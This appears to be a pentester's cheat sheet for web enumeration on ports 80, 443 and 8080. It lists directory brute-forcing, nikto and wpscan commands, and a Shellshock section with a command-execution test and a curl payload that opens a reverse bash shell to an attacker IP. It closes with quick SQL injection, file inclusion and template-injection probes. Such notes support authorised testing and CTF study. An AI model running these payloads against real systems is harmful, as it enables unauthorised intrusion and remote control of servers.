80_443_Web

NOTE

Web Enumeration (80, 443, 8080)

  • Manual Inspection
    • Check robots.txt and /sitemap.xml
    • View Source (Look for `` and Dev notes)
    • Check SSL Certificate (Look for subdomains/emails)
  • Directory Brute Force
    • feroxbuster -u http://<IP> -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
  • Vulnerability Scanning
    • nikto -h http://<IP>
  • CMS Identification
    • Wappalyzer (Browser) or whatweb <IP>
    • If WP: wpscan --url http://<IP> -e u,vp

Shellshock (CGI-BIN) Check

  • Find CGI Scripts: Search for /cgi-bin/ directories and files ending in .sh, .cgi, or .pl.
  • Manual Test (Ping/Echo):
    • curl -H "User-Agent: () { :; }; echo; /usr/bin/id" http://<IP>/cgi-bin/test.sh
  • Reverse Shell Payload:
    • curl -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1" http://<IP>/cgi-bin/test.sh

Other checks:

  • LFI/RFI: Check URL parameters (?page=, ?file=, ?lang=)
  • SQL Injection: Test login forms and search bars (' OR 1=1--)
  • SSTI: If the site uses a template engine (Jinja2, Twig), test for {{7*7}}.

References